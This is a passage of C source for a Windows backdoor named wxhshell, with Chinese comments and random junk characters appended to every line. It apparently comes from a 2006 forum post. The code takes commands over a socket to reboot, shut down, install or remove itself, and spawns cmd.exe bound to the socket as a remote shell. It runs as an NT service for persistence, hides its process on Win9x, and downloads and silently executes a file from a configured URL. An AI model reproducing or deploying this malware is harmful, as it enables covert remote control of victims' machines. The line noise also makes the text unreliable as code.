    switch(cmd[0]) { =svN#q5s  
  q<<v,ihh  
  // 帮助 wJqMa9|  
  case '?': { {Xy5pfW Q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); JR|ck=tq  
    break; 1I6px$^E\  
  } r;2^#6/Z  
  // 安装 .Hm>i  
  case 'i': { >:!5*E5?  
    if(Install()) /nsX]V6i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pki%vRY  
    else r5/0u(\LB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FV!q!D  
    break; ^\% (,KNo  
    } 8,%^ M9zBP  
  // 卸载 2,F .$X  
  case 'r': { ;(%QD 3>  
    if(Uninstall()) @HCVmg:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~~P5k:  
    else I{2hfKUe`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Om@;J%u/  
    break; >U>(`r*  
    } gD?l-RT>  
  // 显示 wxhshell 所在路径 -2[a2^a'  
  case 'p': { dT8S~-d%  
    char svExeFile[MAX_PATH]; X?',n 1  
    strcpy(svExeFile,"\n\r"); l)\! .X  
      strcat(svExeFile,ExeFile); Fm 2AEs\  
        send(wsh,svExeFile,strlen(svExeFile),0); +sA2WK]  
    break; |df Pki{  
    } BO&bmfp7,  
  // 重启 3hH<T.@)  
  case 'b': { =nS3p6>rZ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); C!!M%P  
    if(Boot(REBOOT)) 6 "sSoj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B9 uoVcW  
    else { yyJ  f%{  
    closesocket(wsh); !.gIHY  
    ExitThread(0); ITBE|b  
    } p l0\2e)  
    break; 3$R1ipb  
    } +'a^f5  
  // 关机 !pW0qX\1n  
  case 'd': { T^KKy0ZGM  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /~?*=}c^m  
    if(Boot(SHUTDOWN)) ND;#7/$>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %> eiAB_b  
    else { p2](_}PK  
    closesocket(wsh); Kc-W&?~y#1  
    ExitThread(0); fr3d  
    } y%T_pTcU  
    break; eym4=k ~  
    } " 8MF_Gu):  
  // 获取shell 7$=In K  
  case 's': { 0S~rgq|O  
    CmdShell(wsh); 2ilQXy  
    closesocket(wsh); vE?G7%,  
    ExitThread(0); aFYIM`?(  
    break; u6agoK|^9  
  } F41=b4/  
  // 退出 n>YKa)|W`  
  case 'x': { ,"ZMRq  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?a5!H*,  
    CloseIt(wsh); EQM {  
    break; 7NGxa6wi  
    } 5;EvNu  
  // 离开 =,M5KDk`  
  case 'q': { QWYJ *  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); lo+A%\1  
    closesocket(wsh); Xv^qVn4  
    WSACleanup(); i/4>2y9/F4  
    exit(1); }7Q%6&IR  
    break; ga+dt  
        } 8ib:FF(= u  
  } a~w$#fo"`f  
  } L8B! u9%  
77Y/!~kd  
  // 提示信息 V,njO{Q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7. oM J  
} fHFE){  
  } z} #JK? u  
4r}51 N\  
  return; ?@86P|19  
} ;Y, y4{H3  
~DwpoeYX  
// shell模块句柄 e^voW"?%  
int CmdShell(SOCKET sock) <5051U Eu  
{ k_#)Tw*  
STARTUPINFO si; <P_-s*b  
ZeroMemory(&si,sizeof(si)); WyiQoN'q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |6- nbj  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; yWSGi#)1  
PROCESS_INFORMATION ProcessInfo; x q h  
char cmdline[]="cmd"; <hyKu  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /{I$#:M  
  return 0; eR>oq,  
} Bzf^ivT3L  
I?CZQ+}Hq  
// 自身启动模式 i ct])  
int StartFromService(void) L4W5EO$  
{ 6=C<>c %+  
typedef struct ;$4\e)AB  
{ Pq$n5fZC !  
  DWORD ExitStatus; 1% `Rs  
  DWORD PebBaseAddress; ? r4>"[  
  DWORD AffinityMask; =3P)q"  
  DWORD BasePriority; %|oym.-I6  
  ULONG UniqueProcessId; At;LO9T3z  
  ULONG InheritedFromUniqueProcessId; h?U O&(  
}   PROCESS_BASIC_INFORMATION; 3v-~K)hl?  
Vurq t_nb  
PROCNTQSIP NtQueryInformationProcess; %cn<ych G  
dZuOrTplA  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; tH4B:Bgj!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #'`{Qv0,  
c:('W16  
  HANDLE             hProcess; n$R)>n Y  
  PROCESS_BASIC_INFORMATION pbi; 2=}FBA,2  
[-w%/D%@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ueNS='+m  
  if(NULL == hInst ) return 0; yHaGkm  
u3 D)M%e  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :`sUt1Fw.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); h68 xet;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &p,]w~d,U  
]?4hyN   
  if (!NtQueryInformationProcess) return 0; (9)Q ' 'S  
$~)SCbL^5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (8OsGn  
  if(!hProcess) return 0; 3so %gvY.'  
l]SX@zTb  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; j~MI<I+l[  
WIGi51yC.x  
  CloseHandle(hProcess); r JB}qYD  
9gIrt 6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8P`"M#fI  
if(hProcess==NULL) return 0; eMzk3eOJ  
5)40/cBe  
HMODULE hMod; 46;uW{EY  
char procName[255]; XWw804ir  
unsigned long cbNeeded; {;oPLr+Z  
(@YG~ 0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %TqC/c  
b.938#3,  
  CloseHandle(hProcess); <UCl@5g&  
W+* V)tf  
if(strstr(procName,"services")) return 1; // 以服务启动 ?JUeuNs9  
O6Y0XL  
  return 0; // 注册表启动 9+N-eW_U  
} :T~  [  
EQ_aa@M7  
// 主模块 h+,@G,|D  
int StartWxhshell(LPSTR lpCmdLine) gqR(.Pu  
{ : Dp0?&_  
  SOCKET wsl; ~LC-[&$  
BOOL val=TRUE; Bw yx c  
  int port=0; 7EJ+c${e.-  
  struct sockaddr_in door; $cg cX  
+ge?w#R  
  if(wscfg.ws_autoins) Install(); Vvo 7C!$z  
2 E= L8<  
port=atoi(lpCmdLine); ;VK.2^jW!  
~J]qP#C  
if(port<=0) port=wscfg.ws_port; rl.}%Ny  
XPPdwTOr  
  WSADATA data; '%;m?t% q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; nt<]d\o0  
d-%hjy3N  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   EM_d8o)`B  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); gM]:Ma  
  door.sin_family = AF_INET; d zMb5puH  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); MK*r+xfSae  
  door.sin_port = htons(port); .)3<Q}>  
TqQ[_RKg2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^z\cyT%7t  
closesocket(wsl); Nboaf  
return 1; OTv)  
} \7_y%HR  
\<K5ZIWV  
  if(listen(wsl,2) == INVALID_SOCKET) { zm#  ?W  
closesocket(wsl); iow"n$/  
return 1; 4Tc~b3\!Y  
} /kG_*>.Z  
  Wxhshell(wsl); /_.|E]  
  WSACleanup(); ->jDb/a{C  
)5H?Vh>36  
return 0; s#MPX3itK  
}0 ?3:A  
} %2h>-.tY  
8XaQAy%d]  
// 以NT服务方式启动 |BYRe1l6l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) iRBfx  
{ C,zohlpC  
DWORD   status = 0; )B*t :tN  
  DWORD   specificError = 0xfffffff; kf9X$d6   
; @X<lCk  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +ai< q>+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8,|kao:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I 6O  
  serviceStatus.dwWin32ExitCode     = 0; b MBLXk  
  serviceStatus.dwServiceSpecificExitCode = 0; d'ifLQ\  
  serviceStatus.dwCheckPoint       = 0; YZ7.1`8  
  serviceStatus.dwWaitHint       = 0; z!\*Y =e  
7Yy ;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /V By^L:  
  if (hServiceStatusHandle==0) return; ABkl%m6xf  
"jCu6Rjd  
status = GetLastError(); _ dg\\c  
  if (status!=NO_ERROR) <naz+QK'  
{ [B3RfCV{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0 "#HJA44  
    serviceStatus.dwCheckPoint       = 0; /@5YW"1  
    serviceStatus.dwWaitHint       = 0; 13f)&#, F  
    serviceStatus.dwWin32ExitCode     = status; )}v l\7=  
    serviceStatus.dwServiceSpecificExitCode = specificError; P {'b:C  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `_h&glMJ,q  
    return; [hs ds\  
  } 8k79&|  
P~dcW  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2qp#N%  
  serviceStatus.dwCheckPoint       = 0; P2Y^d#jO  
  serviceStatus.dwWaitHint       = 0; d5d@k  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `h;[TtIX4  
} h];I{crh  
wY}@'pzX  
// 处理NT服务事件,比如:启动、停止 s^SJY{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]^]wP]R_  
{ kVL.PY\K  
switch(fdwControl) }WV:erg`  
{ `X8F`5&U\f  
case SERVICE_CONTROL_STOP: V.Mry`9-  
  serviceStatus.dwWin32ExitCode = 0; T C"<g  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; QW"! (`K  
  serviceStatus.dwCheckPoint   = 0; MQ4KdqgP  
  serviceStatus.dwWaitHint     = 0; 05[SC}MCA  
  { %)wjR/o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \v/[6&|X0s  
  } Ss`LLq0LO  
  return; _f{{( 7  
case SERVICE_CONTROL_PAUSE: T0 {Lq:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; r*Xuj=  
  break; ;d?R:Uw8  
case SERVICE_CONTROL_CONTINUE: F[0]/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~ K=b\xc^  
  break; z)"=:o7  
case SERVICE_CONTROL_INTERROGATE: i9$ Av  
  break; $8FUfJ1@  
}; 7o4\oRGV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); '<M{)?  
} uq{ beC  
?4B`9<j8%  
// 标准应用程序主函数 cNH7C"@GVu  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _G0 x3  
{ ##{taR8  
DI%saw  
// 获取操作系统版本 r/1(]#kOX  
OsIsNt=GetOsVer(); [ 3HfQ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ctUp=po  
YzWz|  
  // 从命令行安装 #Dac~>a'  
  if(strpbrk(lpCmdLine,"iI")) Install(); *h|U,T7ew  
A=4OWV?  
  // 下载执行文件 j39wA~ K  
if(wscfg.ws_downexe) { 0`hdMLONR  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9VT;ep  
  WinExec(wscfg.ws_filenam,SW_HIDE); xkn;,`t^lJ  
} v2?ZQeHr_(  
5)E @F9N  
if(!OsIsNt) { S[N5 ikg  
// 如果时win9x,隐藏进程并且设置为注册表启动 T;uX4,|(  
HideProc(); 6nQq  
StartWxhshell(lpCmdLine); +qoRP2  
} b]y2+A.n  
else _g. {MTQ  
  if(StartFromService()) f5r0\7y0  
  // 以服务方式启动 @.C2LIb  
  StartServiceCtrlDispatcher(DispatchTable); % `3jL7|  
else xfQ1T)F3g  
  // 普通方式启动 [vgtc.V  
  StartWxhshell(lpCmdLine); wj+*E6o-n  
$^ P0F9~0  
return 0; ZW}_DT0  
}
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只看该作者 1 发表于: 2006-10-10
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